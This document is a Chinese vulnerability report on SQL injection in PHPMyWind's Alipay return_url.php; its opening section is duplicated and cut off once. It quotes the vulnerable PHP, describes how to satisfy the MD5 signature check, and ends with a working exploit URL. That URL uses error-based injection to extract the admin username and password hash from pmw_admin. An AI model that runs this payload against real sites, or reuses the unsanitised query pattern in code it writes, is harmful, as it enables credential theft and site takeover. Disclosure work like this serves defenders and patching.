### 简要描述: PHPMyWind最新版SQL注入 ### 详细说明: 文件:/data/alipay/return_url.php ``` $alipayNotify = new AlipayNotify($alipay_config); $verify_result = $alipayNotify->verifyReturn(); if($verify_result) {//验证成功 ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //请在这里加上商户的业务逻辑程序代码 //——请根据您的业务逻辑来编写程序(以下代码仅作参考)—— //获取支付宝的通知返回参数,可参考技术文档中页面跳转同步通知参数列表 //商户订单号 $out_trade_no = $_GET['out_trade_no']; //支付宝交易号 $trade_no = $_GET['trade_no']; //交易状态 $trade_status = $_GET['trade_status']; if($_GET['trade_status'] == 'TRADE_FINISHED' || $_GET['trade_status'] == 'TRADE_SUCCESS') { //判断该笔订单是否在商户网站中已经做过处理 //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序 //如果有做过处理,不执行商户的业务程序 //更新订单状态 $r = $dosql->GetOne("SELECT * FROM `#@__goodsorder` WHERE `id`=$out_trade_no"); if(isset($r) && is_array($r)) { $checkinfo = explode(',',$r['checkinfo']); if(!in_array('payment',$checkinfo)) { $sql = "UPDATE `#@__goodsorder` SET...
### 简要描述: PHPMyWind最新版SQL注入 ### 详细说明: 文件:/data/alipay/return_url.php ``` $alipayNotify = new AlipayNotify($alipay_config); $verify_result = $alipayNotify->verifyReturn(); if($verify_result) {//验证成功 ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //请在这里加上商户的业务逻辑程序代码 //——请根据您的业务逻辑来编写程序(以下代码仅作参考)—— //获取支付宝的通知返回参数,可参考技术文档中页面跳转同步通知参数列表 //商户订单号 $out_trade_no = $_GET['out_trade_no']; //支付宝交易号 $trade_no = $_GET['trade_no']; //交易状态 $trade_status = $_GET['trade_status']; if($_GET['trade_status'] == 'TRADE_FINISHED' || $_GET['trade_status'] == 'TRADE_SUCCESS') { //判断该笔订单是否在商户网站中已经做过处理 //如果没有做过处理,根据订单号(out_trade_no)在商户网站的订单系统中查到该笔订单的详细,并执行商户的业务程序 //如果有做过处理,不执行商户的业务程序 //更新订单状态 $r = $dosql->GetOne("SELECT * FROM `#@__goodsorder` WHERE `id`=$out_trade_no"); if(isset($r) && is_array($r)) { $checkinfo = explode(',',$r['checkinfo']); if(!in_array('payment',$checkinfo)) { $sql = "UPDATE `#@__goodsorder` SET checkinfo='".$r['checkinfo'].',payment'."' WHERE `id`=$out_trade_no"; $dosql->ExecNoneQuery($sql); } } } ``` 很明显,当验证成功时,out_trade_no没有过滤直接进入SQL,导致注入。 下面来看看如何验证成功。 \data\alipay\lib\alipay_notify.class.php文件verifyReturn函数: ``` function verifyReturn(){ if(empty($_GET)) {//判断POST来的数组是否为空 return false; } else { //生成签名结果 $isSign = $this->getSignVeryfy($_GET, $_GET["sign"]); //获取支付宝远程服务器ATN结果(验证是否是支付宝发来的消息) $responseTxt = 'true'; if (! empty($_GET["notify_id"])) {$responseTxt = $this->getResponse($_GET["notify_id"]);} //写日志记录 //if ($isSign) { //$isSignStr = 'true'; //} //else { //$isSignStr = 'false'; //} //$log_text = "responseTxt=".$responseTxt."\n return_url_log:isSign=".$isSignStr.","; //$log_text = $log_text.createLinkString($_GET); //logResult($log_text); //验证 //$responsetTxt的结果不是true,与服务器设置问题、合作身份者ID、notify_id一分钟失效有关 //isSign的结果不是true,与安全校验码、请求时的参数格式(如:带自定义参数等)、编码格式有关 if (preg_match("/true$/i",$responseTxt) && $isSign) { return true; } else { return false; } } } ``` 当$responseTxt && $isSign都为true时,验证成功。 这里responseTxt 已经为true了。 来看看isSign。 再来看看getSignVeryfy函数: ``` function getSignVeryfy($para_temp, $sign) { //除去待签名参数数组中的空值和签名参数 $para_filter = paraFilter($para_temp); //对待签名参数数组排序 $para_sort = argSort($para_filter); //把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串 $prestr = createLinkstring($para_sort); $isSgin = false; switch (strtoupper(trim($this->alipay_config['sign_type']))) { case "MD5" : $isSgin = md5Verify($prestr, $sign, $this->alipay_config['key']); break; default : $isSgin = false; } return $isSgin; } ``` 进入md5Verify: ``` function md5Verify($prestr, $sign, $key) { $prestr = $prestr . $key; $mysgin = md5($prestr); if($mysgin == $sign) { return true; } else { return false; } ``` 从上克制,当sign=$mysgin = md5($prestr)=md5($prestr . $key)即可。 $prestr就是我们传入的参数拼接。 $key为在正常验证过程中alipay的key,配置信息。 ### 漏洞证明: EXP: ``` http://127.0.0.1/phpmywind/data/alipay/return_url.php?sign=39c38708a1605e3c953ad2dc31b24fd0&trade_status=TRADE_FINISHED&out_trade_no=1 and 1=@`'` and 1=(select 1 from (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x23,password) FROM `pmw_admin` limit 0,1))a from information_schema.tables group by a limit 0,1)b) and 1=@`'` ``` [<img src="https://images.seebug.org/upload/201404/16101202e03bf7a5505c904d429869c75334ce71.png" alt="wind_return.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/16101202e03bf7a5505c904d429869c75334ce71.png)